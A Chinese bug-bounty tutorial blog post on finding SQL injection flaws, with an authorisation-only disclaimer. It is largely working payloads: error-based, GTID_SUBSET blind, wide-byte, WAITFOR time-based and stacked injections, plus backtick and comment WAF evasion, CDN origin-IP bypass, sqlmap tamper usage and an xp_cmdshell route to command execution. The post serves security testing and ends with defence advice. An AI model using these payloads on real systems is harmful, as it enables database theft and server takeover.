【SRC】基础思路篇6:SQL注入漏洞挖掘完全指南
⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
前言
在SRC漏洞挖掘中,SQL注入是最严重的漏洞类型之一。一旦成功利用,攻击者可以读取、修改甚至删除数据库中的数据,甚至可能获得服务器的完全控制权。本文将带你全面了解SQL注入的测试思路、漏洞类型和实战技巧。
一、SQL注入测试基本思路
1. 寻找注入点
测试场景:
- URL链接参数:关注每个URL参数,尤其是数字类型的参数
- Cookie头:Cookie中的值也可能存在注入
- POST请求体:表单提交的参数同样需要测试
- 伪静态URL:如
article/123.html中的数字可能存在注入 - 业务校验接口:修改密码、重置密码、身份验证等需要参数校验的接口
- 数据筛选接口:列表查询、排序筛选等功能接口
常见参数类型:
- ID类参数:
id、userid、articleid、orderid、classid - 筛选类参数:
fromRegion、status、type、category、level - 排序类参数:
sort、order、orderby、sortby、desc、asc - 分页类参数:
page、limit、offset、pagesize - 搜索类参数:
keyword、search、query
测试方法:
- 数值测试:将
?id=3修改为?id=1+3或?id=3-1或?id=3*3- 如果结果相同,说明可能存在数值注入
- 单/双引号测试:在参数后添加单引号
'或双引号"- 观察页面是否报错
- 如果报错后添加另一个引号恢复正常,说明找到了闭合方式
- 引号+括号测试:尝试
?id=1')或?id=1"))
业务校验场景测试:
- 修改密码接口:测试
oldpassword、newpassword、confirmPassword参数 - 密码重置接口:测试
token、uid、phone、email参数 - 身份验证接口:测试
username、password、captcha参数 - 用户注册接口:测试
username、phone、email、password参数
排序参数注入测试:
- order参数测试:
?order=id→?order=if(1=1,id,sleep(5))(MySQL布尔盲注)或?order=1 and extractvalue(1,concat(0x7e,user()))(报错注入) - sort参数测试:
?sort=name→?sort=name'或?sort=(select updatexml(1,concat(0x7e,user()),1)) - desc参数测试:
?sort=name&desc=1→?sort=name&desc=if(1=1,1,sleep(5))或?sort=name' desc-- - fromRegion参数测试:
?fromRegion=beijing→?fromRegion=beijing' OR '1'='1或?fromRegion=(select group_concat(table_name) from information_schema.tables)
2. 宽字节注入(PHP特定)
漏洞原理:real_escape_string 函数的转义效果依赖于数据库连接的字符集。如果数据库使用GBK/GB2312等宽字节编码,攻击者可构造"多字节字符"吃掉转义的反斜杠。
触发条件:
- 数据库字符集为GBK(核心)
- PHP仅使用
real_escape_string转义,未强制同步编码,也未使用预处理语句
测试Payload:
?id=%df%27 OR 1=1 --+
原理说明:
%df%27是URL编码:%df是GBK宽字节的第一个字节,%27是单引号mysqli_real_escape_string会给单引号加反斜杠,变成%df%5c%27(%5c是反斜杠)- 在GBK编码中,
%df%5c会被解析成一个合法的多字节字符,剩下的%27(单引号)就会闭合SQL语句的引号,触发注入
3. JS代码审计
测试方法:使用JSFUZZ工具对参数进行fuzz测试。
实战示例:
xxx.com/method=select&userid=88 → 页面返回数据
xxx.com/method=select&userid=88%27 → 返回空白页面
xxx.com/method=select&userid=88%27%20and%20%271%27=%271 → 页面返回数据
二、SQL注入类型
1. 报错注入
特点:数据库错误信息直接回显到页面上,易于发现和利用。
测试方法:
- 输入单引号触发数据库报错
- 根据报错信息判断数据库类型和结构
extractvalue报错注入(MySQL专用)
函数原理:EXTRACTVALUE(xml_doc, xpath_expr) 是MySQL的XML解析函数,第二个参数要求合法XPath表达式。如果传入非合法XPath字符串,数据库会直接抛出报错,并把非法内容回显在报错信息里,直接带出查询结果。
适用场景:id数字型注入点,直接替换原参数值即可。
测试Payload:
?id=desc,`extractvalue`(1,concat_ws(0x0a,0x0a,user()))
完整SQL拼接:
select * from table where id = desc,`extractvalue`(1,concat_ws(0x0a,0x0a,user()))
原理拆解:
desc是关键字(降序排序),在这里充当第一个表达式占位,无实际作用- 逗号
,分割,追加执行extractvalue()函数 - concat_ws(0x0a,0x0a,user()) 构造非合法XPath触发报错
- 0x0a是换行符,XPath语法里换行符会破坏语法触发报错
为什么用desc占位:
- 很多WAF会拦截
数字,函数这种经典逗号注入 desc是冷门占位符,能绕过简单正则
反引号绕过技巧:
`extractvalue`(1,concat_ws(0x0a,0x0a,user()))
MySQL中反引号可包裹函数标识符,extractvalue() = extractvalue()。简易WAF采用纯字符串匹配,只拦截连续extractvalue,插入反引号破坏连续字符串匹配,规则失效放行。
同类Payload:
?id=desc,`updatexml`(1,concat(0x5e,user()),1)
优缺点:
- ✅ 优点:直接回显数据,不需要二分逐字符猜解,速度远快于布尔盲注
- ❌ 缺点:单次最多回显32个字符,长内容需要截取;依赖网站展示SQL报错
2. 盲注
特点:没有直接的数据回显,需要通过条件判断来获取信息。
类型:
- 布尔盲注:通过页面返回的真假来判断数据
- 时间盲注:通过响应时间来判断数据
GTID_SUBSET布尔盲注(MySQL专用)
适用场景:id数字型注入点,无需单引号闭合,直接用运算/函数表达式替换数字。
测试Payload:
?id=GTID_SUBSET(concat(SESSION_USER(),':1'),'00000000-0000-0000-0000-000000000000:1')
完整SQL拼接:
select * from table where id = GTID_SUBSET(concat(SESSION_USER(),':1'),'00000000-0000-0000-0000-000000000000:1')
执行逻辑:
- GTID_SUBSET只会返回0或1
- 数据库把返回值当作id查询
- 返回1 → 查询id=1的数据(页面有内容)
- 返回0 → 查询id=0的数据(页面空白/无数据)
- 依靠页面有无数据两种状态实现布尔盲注
为什么偏爱GTID_SUBSET绕过WAF:
- 常规数字盲注容易被拦截:
?id=1 and ascii(substr(user(),1,1))>100 - WAF关键词拦截:and、if、sleep、substr、ascii
- GTID_SUBSET是冷门运维函数,大多通用WAF无拦截规则
- 不需要and/or拼接,不需要延时函数
- 直接返回0/1适配数字型id查询点
- MySQL5.6+全部可用
逐字符猜解Payload模板:
?id=GTID_SUBSET(concat(if(ascii(substr(SESSION_USER(),1,1))>97,0x30000000-0000-0000-0000-000000000000:1,a),':1'),'00000000-0000-0000-0000-000000000000:1')
替换函数查库名、版本、表名:
- SESSION_USER() → database() 当前库
- SESSION_USER() → version() 数据库版本
- SESSION_USER() → (select group_concat(table_name) from information_schema.tables where table_schema=database()) 查表
反引号绕过技巧:
?id=`GTID_SUBSET`(concat(SESSION_USER(),':1'),'00000000-0000-0000-0000-000000000000:1')
- 反引号包裹函数名,绕过关键词拦截
- 简易WAF只拦截连续字符串GTID_SUBSET,中间多了反引号分隔,正则无法命中
反引号变形:
`GTID`_`SUBSET`(...)
GTID_``SUBSET`(...)
优缺点:
- ✅ 优点:不依赖报错,关闭报错页面也能打;GTID函数冷门大部分WAF无拦截;无32字符长度限制
- ❌ 缺点:需要二分遍历ASCII,请求量大、拖库速度慢
3. 堆叠注入
特点:可以执行多条SQL语句,用分号分隔。
测试方法:
?id=1;select 1/0
如果第二条语句报错,说明存在堆叠注入。
4. 联合查询注入
特点:使用UNION关键字合并查询结果。
测试方法:
?id=-1' UNION SELECT 1,2,3--
三、WAF绕过技巧
1. 参数污染
方法:第一个参数传无效的POC,第二个同名参数传有效的POC。
2. 特殊语法绕过
常用技巧:
- 使用
+连接符替代空格 - 使用
EXECUTE()替代EXEC(SQL Server) - 使用
||连接字符串(Oracle) - 在函数名和括号之间插入注释:
instr/**/(...)
3. 编码绕过
方法:
- URL编码
- Unicode编码
- 十六进制编码
4. 特殊字符绕过
常用字符:
--注释符#注释符(MySQL)/*...*/多行注释
5. Oracle数据库特殊技巧
Oracle特有函数:
instr:字符串查找函数,可用于布尔盲注substr:字符串截取函数length:字符串长度函数
绕过方法:
- 使用管道符
|连接语句 - 在函数名和括号之间加
/**/
6. .NET页面延时注入
适用场景:ASP.NET + SQL Server环境,WAF拦截常规sleep语句。
测试Payload:
?userid=1';WAITFOR DELAY '0:0:5'--
?userid=1);WAITFOR DELAY '0:0:5'--
?userid=1));WAITFOR DELAY '0:0:5'--
关键技巧:
- SQL Server使用
WAITFOR DELAY代替MySQL的sleep()函数 - 通过调整闭合方式(单引号、括号)测试不同场景
- 延时时间格式:
'0:0:5'表示5秒
7. PHP报错型布尔盲注
适用场景:PHP环境,数据库报错信息被部分屏蔽,但仍有差异。
测试Payload:
?id=1 and extractvalue(1,concat(0x7e,(select database())))
?id=1 and updatexml(1,concat(0x7e,user()),1)
关键技巧:
- 利用报错函数触发数据库错误
- 通过观察页面是否报错判断条件真假
- 适用于无法直接回显数据但可触发报错的场景
8. 访问真实IP绕过CDN/WAF
适用场景:目标网站使用CDN或云WAF,直接访问源站IP可绕过防护。
测试方法:
- 通过DNS解析获取真实IP
- 修改Hosts文件或请求头中的Host字段
- 直接访问真实IP进行测试
关键技巧:
- 使用工具解析域名
- 通过SSL证书信息获取真实IP
- 使用在线工具(如censys.io)查询证书对应的IP
四、实战案例总结
案例1:SQL注入绕过WAF导致RCE
发现过程:
- 参数分析:发现接口
/API/Web/Recruit.ashx?action=info&rid= - 确认注入点:
rid=2602'触发数据库报错 - WAF检测:被安全狗WAF拦截
- 绕过尝试:使用
+连接符绕过 - 堆叠注入:
rid=2602;select 1/0确认堆叠注入存在 - RCE实现:
rid=2602;EXECUTE('master..xp_cmdshell ''ping dnslog''')
关键技巧:使用EXECUTE()替代EXEC绕过WAF检测。
案例2:路径删减引起的SQL注入
发现过程:
- 小程序抓包:发现多路径URL
- 路径删减:删减URL路径发现后台管理系统
- JS代码审计:分析前端代码发现接口信息
- 参数传递分析:发现A请求包的参数会保存到B请求包的返回中
- SQL回显发现:构造请求后发现SQL语句回显
- Payload构造:利用用户名长度限制构造注入语句
关键技巧:关注多个请求包之间的参数传递关系。
案例3:Oracle注入WAF绕过
发现过程:
- 注入点发现:使用xiasql工具发现注入点
- 长度限制分析:第一个参数限制50字节
- WAF绕过:发现and/or被拦截,使用管道符连接
- 函数fuzz:发现instr函数可用
- 绕过技巧:函数名和括号之间加
/**/ - 布尔盲注:使用instr函数进行盲注
关键技巧:instr/**/(...) 注释穿插绕过WAF规则。
五、sqlmap使用技巧
基础配置
重要参数:
--random-agent:随机User-Agent,避免被识别--flush-session:清除缓存,防止误报--level 2:增加cookie检查--level 3:增加refer和ua检查
注入测试
常用命令:
python sqlmap.py --random-agent --flush-session -r test.txt -p "指定参数" --is-dba --batch --tamper=space2comment
注意事项
不要使用dump命令:
- 数据量大会产生很大流量
- 可能导致被封禁
- 影响正常业务
时间注入设置:
--time-sec=10
默认是5秒,建议设置大些防止误报。
自定义配置
修改默认UA:
- 编辑
sqlmap/data/settings.py - 修改
DEFAULT_USER_AGENT的值
六、实战心得
1. 不放过任何可疑参数
在SQL注入测试中,不要只关注常见的ID参数,以下类型的参数同样可能存在注入:
- 表名参数:
?table=users→?table=users where 1=1 - 列名参数:
?column=name→?column=name from users - 排序参数:
?orderby=id→?orderby=if(1=1,id,sleep(5))(MySQL)或?orderby=CASE WHEN 1=1 THEN id ELSE (SELECT SLEEP(5)) END - 排序方向参数:
?sort=asc→?sort=asc and extractvalue(1,concat(0x7e,user())) - 分页参数:
?limit=10→?limit=10 offset 0;--(MySQL)或?limit=10;WAITFOR DELAY '0:0:5'--(SQL Server)
2. 预编译不能完全防范SQL注入
很多开发者认为使用预编译语句(Prepared Statement)就可以完全防范SQL注入,这是一个常见的误区。
预编译的局限性:
- 预编译只能防止值的注入,无法防止表名、列名、排序字段等的注入
- 如果SQL语句中的表名、列名是动态拼接的,预编译无法保护
- 排序参数(orderby、sort)、分页参数(limit)通常无法使用预编译
典型场景:
// 危险代码:表名动态拼接
String sql = "SELECT * FROM " + tableName + " WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, userId);
虽然id参数使用了预编译,但tableName是直接拼接的,如果tableName可控,仍然存在SQL注入风险。
防御建议:
- 对表名、列名等进行白名单校验
- 使用枚举类型限制排序字段
- 对所有用户可控的参数进行严格校验
结语
SQL注入是最危险的Web漏洞之一,掌握SQL注入测试技巧对于SRC漏洞挖掘至关重要。记住:仔细测试每个参数、善于分析报错信息、灵活运用绕过技巧,这是发现SQL注入漏洞的关键。
如果这篇文章对你有帮助,请点赞支持一下!有任何问题欢迎在评论区交流讨论。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)